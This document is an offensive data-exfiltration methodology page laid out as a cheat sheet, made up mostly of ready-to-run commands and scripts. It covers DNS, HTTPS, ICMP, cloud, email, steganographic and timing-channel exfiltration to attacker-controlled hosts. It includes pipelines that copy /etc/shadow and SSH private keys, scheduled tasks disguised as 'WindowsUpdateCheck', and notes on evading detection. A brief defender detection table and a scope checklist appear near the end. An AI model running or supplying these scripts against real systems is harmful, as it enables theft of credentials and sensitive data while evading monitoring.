Data Exfiltration -- Offensive Methodology
Quick Workflow
- Inventory target data. Map files, databases, credentials. Assess volume and classification.
- Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
- Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
- Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
- Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
- Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
- Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
- Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.
DNS Exfiltration
MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
dnscat2
bash# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret # Client on target ./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret # Server console -- file transfer session -i 1 download /etc/shadow /tmp/loot/shadow
bash# Force CNAME queries to avoid TXT-based detection ./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
iodine Tunneling
bash# Server (authoritative NS) iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com # Client -- creates dns0 interface at 10.0.0.2 iodine -f -P ExfilPassword tunnel.yourdomain.com scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
dns2tcp
bash# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22 dns2tcpd -f /etc/dns2tcpd.conf # Client -- tunnel SSH over DNS dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1 ssh -p 2222 attacker@127.0.0.1
TXT/CNAME Record Encoding
pythonimport base64, dns.resolver def dns_exfil(data, domain, chunk_size=60): encoded = base64.b32encode(data).decode() for seq, i in enumerate(range(0, len(encoded), chunk_size)): query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}" try: dns.resolver.resolve(query, "TXT") except Exception: pass # data is in the query itself
Slow-Drip DNS
pythonimport random, time, base64, dns.resolver def slow_drip_exfil(data, domain, min_delay=30, max_delay=120): encoded = base64.b32encode(data).decode() for seq, i in enumerate(range(0, len(encoded), 60)): query = f"{seq}.{encoded[i:i+60]}.d.{domain}" try: dns.resolver.resolve(query, "A") except Exception: pass time.sleep(random.uniform(min_delay, max_delay))
PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.
HTTPS Tunneling
MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
stunnel
Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.
Domain Fronting via CDN
bash# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server curl -s -H "Host: your-collection.azureedge.net" \ --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload # chisel full tunnel behind CDN chisel server --port 443 --reverse --auth user:pass # server side chisel client --header "Host: your-collection.azureedge.net" \ https://legitimate-cdn-domain.com R:socks # client side
Legitimate Service Abuse
bash# Slack webhook curl -X POST -H 'Content-type: application/json' \ --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \ https://hooks.slack.com/services/T00/B00/XXX
python# GitHub Gist -- private gist per chunk import requests, base64 def gist_exfil(data, token): requests.post("https://api.github.com/gists", json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}}, headers={"Authorization": f"token {token}"})
powershell# Pastebin API from Windows $data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc")) Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{ api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}
ICMP Tunneling
MITRE: T1048.003 -- Non-Application Layer Protocol
icmpsh
bash# Attacker sysctl -w net.ipv4.icmp_echo_ignore_all=1 python3 icmpsh_m.py attacker_ip target_ip
Target (Windows): icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128
ptunnel-ng
bashptunnel-ng -r0.0.0.0 -R22 # server (attacker) ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22 # client (target) scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/
Raw ICMP Embedding
pythonimport struct, socket def icmp_exfil(data, dest_ip, chunk_size=48): sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) for seq, i in enumerate(range(0, len(data), chunk_size)): chunk = data[i:i+chunk_size] hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq) pkt = hdr + chunk s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1])) if len(pkt) % 2: s += pkt[-1] << 8 s = (s >> 16) + (s & 0xFFFF); s += s >> 16 hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq) sock.sendto(hdr + chunk, (dest_ip, 0)) sock.close()
Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.
Cloud Storage Dead Drops
MITRE: T1567.002 -- Exfiltration to Cloud Storage
S3 Presigned URLs
pythonimport boto3 def s3_upload_url(bucket, key, expiry=3600): return boto3.client("s3").generate_presigned_url( "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
bashcurl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
Azure Blob SAS Tokens
powershell$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..." $sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w ` -ExpiryTime (Get-Date).AddHours(2) -Context $ctx Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" ` -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"
GCS Signed URLs
pythonfrom google.cloud import storage import datetime def gcs_upload_url(bucket_name, blob_name, minutes=60): blob = storage.Client().bucket(bucket_name).blob(blob_name) return blob.generate_signed_url(version="v4", method="PUT", expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
Presigned URLs need no credentials on the target. Rotate buckets between drops.
Email-Based Exfiltration
MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol
SMTP
pythonimport smtplib from email.mime.base import MIMEBase from email.mime.multipart import MIMEMultipart from email import encoders def smtp_exfil(filepath, server, from_addr, to_addr, password): msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report" with open(filepath, "rb") as f: part = MIMEBase("application", "octet-stream"); part.set_payload(f.read()) encoders.encode_base64(part) part.add_header("Content-Disposition", "attachment; filename=report.xlsx") msg.attach(part) with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)
Exchange Web Services
pythonfrom exchangelib import Credentials, Account, FileAttachment, Message def ews_exfil(filepath, email, password, recipient): account = Account(email, credentials=Credentials(email, password), autodiscover=True) with open(filepath, "rb") as f: att = FileAttachment(name="data.xlsx", content=f.read()) m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient]) m.attach(att); m.send()
Draft Method
Store data in drafts -- no email transits the network, no sent-mail evidence:
pythonfrom exchangelib import Account, Credentials, Message def draft_exfil(data_b64, email, password): account = Account(email, credentials=Credentials(email, password), autodiscover=True) Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)
Steganography
MITRE: T1001.002 -- Data Obfuscation: Steganography
Image
bashsteghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f # JPEG/BMP steghide extract -sf carrier.jpg -p "Pass" -xf out.enc zsteg carrier.png # PNG analysis openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
pythonfrom PIL import Image import struct def lsb_embed(cover_path, data, output_path): img = Image.open(cover_path); pixels = list(img.getdata()) payload = struct.pack(">I", len(data)) + data bits = [] for byte in payload: for i in range(7, -1, -1): bits.append((byte >> i) & 1) if len(bits) > len(pixels) * 3: raise ValueError("Payload too large") idx = 0; new_pixels = [] for px in pixels: np = list(px) for c in range(min(3, len(np))): if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1 new_pixels.append(tuple(np)) out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)
Audio
pythonimport wave, struct def wav_lsb_embed(cover_wav, data, output_wav): with wave.open(cover_wav, "rb") as w: params = w.getparams(); frames = bytearray(w.readframes(w.getnframes())) payload = struct.pack(">I", len(data)) + data bits = [] for byte in payload: for i in range(7, -1, -1): bits.append((byte >> i) & 1) for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))
Document Metadata
bashexiftool -Comment="$(base64 secret.enc)" carrier.jpg # EXIF embed cat carrier.jpg secret.enc > output.jpg # append after FFD9
pythonfrom PyPDF2 import PdfReader, PdfWriter def pdf_metadata_exfil(pdf_path, data_b64, output_path): reader = PdfReader(pdf_path); writer = PdfWriter() for page in reader.pages: writer.add_page(page) chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)] writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)}) with open(output_path, "wb") as f: writer.write(f)
Encoding and Encryption
Base64 / Hex / Base32 Chunking
bashbase64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt # base64 chunks xxd -p staged.enc > staged.hex # hex for DNS labels python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"
XOR
pythondef xor_encrypt(data, key): kb = key.encode() if isinstance(key, str) else key return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
AES-256-GCM
pythonfrom Crypto.Cipher import AES from Crypto.Random import get_random_bytes import hashlib def aes_encrypt_file(infile, outfile, password): salt = get_random_bytes(16) key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000) cipher = AES.new(key, AES.MODE_GCM) with open(infile, "rb") as f: pt = f.read() ct, tag = cipher.encrypt_and_digest(pt) with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct) def aes_decrypt_file(infile, outfile, password): with open(infile, "rb") as f: d = f.read() key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000) pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48]) with open(outfile, "wb") as f: f.write(pt)
bashopenssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key
Covert Channels
HTTP Header Encoding
pythonimport base64, urllib.request def http_header_exfil(data, url, chunk_size=256): encoded = base64.b64encode(data).decode() for seq, i in enumerate(range(0, len(encoded), chunk_size)): req = urllib.request.Request(url) req.add_header("X-Request-ID", f"{seq:06d}") req.add_header("X-Correlation-Token", encoded[i:i+chunk_size]) try: urllib.request.urlopen(req) except Exception: pass
chisel SOCKS Tunnel
bashchisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload
IP ID Field Encoding
pythonfrom scapy.all import IP, TCP, send def ip_id_exfil(data, dest_ip, port=80): for i, byte in enumerate(data): send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)
Timing Channels
pythonimport time, socket def timing_exfil(data, dest_ip, dest_port, bit_time=0.1): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((dest_ip, dest_port)) for byte in data: for i in range(7, -1, -1): bit = (byte >> i) & 1 time.sleep(bit_time * 2 if bit else bit_time) sock.send(b"\x00") sock.close()
Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.
Data Staging
MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits
Linux Pipeline
bashmkdir -p /tmp/.cache/updates cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates . openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \ -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_ sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256
Windows Pipeline
powershell$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01" New-Item -ItemType Directory -Force -Path $s | Out-Null Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force # Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks
Scheduled Transfers
bash# Cron -- one chunk every 30 min during business hours (crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -
powershell$action = New-ScheduledTaskAction -Execute "powershell.exe" ` -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1" $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) ` -RepetitionInterval (New-TimeSpan -Minutes 30) Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger
Detection / Defender View
| Technique | Detection Signal | Defender Tool |
|---|---|---|
| DNS exfil | High query volume, long labels, high entropy, unusual record types | Passive DNS, Zeek dns.log, entropy scoring |
| HTTPS tunnel | Persistent TLS, beaconing, JA3 mismatch, SNI/Host mismatch | TLS inspection, JA3 fingerprinting, NetFlow |
| ICMP tunnel | Large payloads, high ICMP volume, non-standard payload data | IDS payload rules, Zeek conn.log |
| Cloud dead drops | PUT to unfamiliar cloud endpoints from internal hosts | CASB, proxy logs, cloud API monitoring |
| Email exfil | Large/encrypted attachments, unusual recipients, draft volume | DLP gateway, Exchange audit logs |
| Steganography | Entropy anomalies, appended data after markers, stego signatures | StegExpose, file carving |
| Covert channels | Anomalous headers, irregular timing, non-standard protocol | DPI, protocol anomaly, ML traffic analysis |
Evasion Notes
- Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
- Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
- Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.
Engagement Cheatsheet
| Scenario | Channel | Tool | Notes |
|---|---|---|---|
| Only port 53 | DNS tunnel | iodine, dnscat2 | Slow; slow-drip for stealth |
| DNS, no infra | DNS query encoding | PacketWhisper | No auth NS needed |
| Web access | HTTPS | chisel, curl | Fastest; blend with traffic |
| Domain filtering | Domain fronting | curl + CDN | CDN must allow fronting |
| Ping allowed | ICMP | ptunnel-ng, icmpsh | Limited BW; keys/creds |
| Cloud access | Dead drop | S3/Azure/GCS URLs | No client tools needed |
| Email available | SMTP/EWS/draft | smtplib, exchangelib | Draft = no sent evidence |
| Content inspection | Stego + HTTPS | steghide + curl | Carrier must look normal |
| Extreme monitoring | Timing channel | Custom Python | Bits/sec; near-undetectable |
| Single file < 1MB | DNS TXT | Custom script | No tools to drop |
| Large dataset > 1GB | HTTPS or cloud | chisel, presigned URL | Daily chunks |
Pre-Exfil Checklist
- Verify exfil is in scope per RoE
- Identify egress channels; stage in innocuous directory
- Compress, encrypt (AES-256 min), split into channel-sized chunks
- Generate SHA-256 manifest; test with canary file first
- Set rate below detection thresholds; verify receipt and integrity
- Securely delete staging and tools; document exfil chain for report
Key References
- MITRE ATT&CK Exfiltration (TA0010): https://attack.mitre.org/tactics/TA0010/
- T1048, T1041, T1567, T1029, T1030, T1132, T1001
- dnscat2: https://github.com/iagox86/dnscat2
- iodine: https://github.com/yarrick/iodine
- dns2tcp: https://github.com/alex-sector/dns2tcp
- chisel: https://github.com/jpillora/chisel
- ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
- icmpsh: https://github.com/bdamele/icmpsh
- steghide: https://steghide.sourceforge.net/
- PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
- OpenStego: https://www.openstego.com/
- zsteg: https://github.com/zed-0xff/zsteg

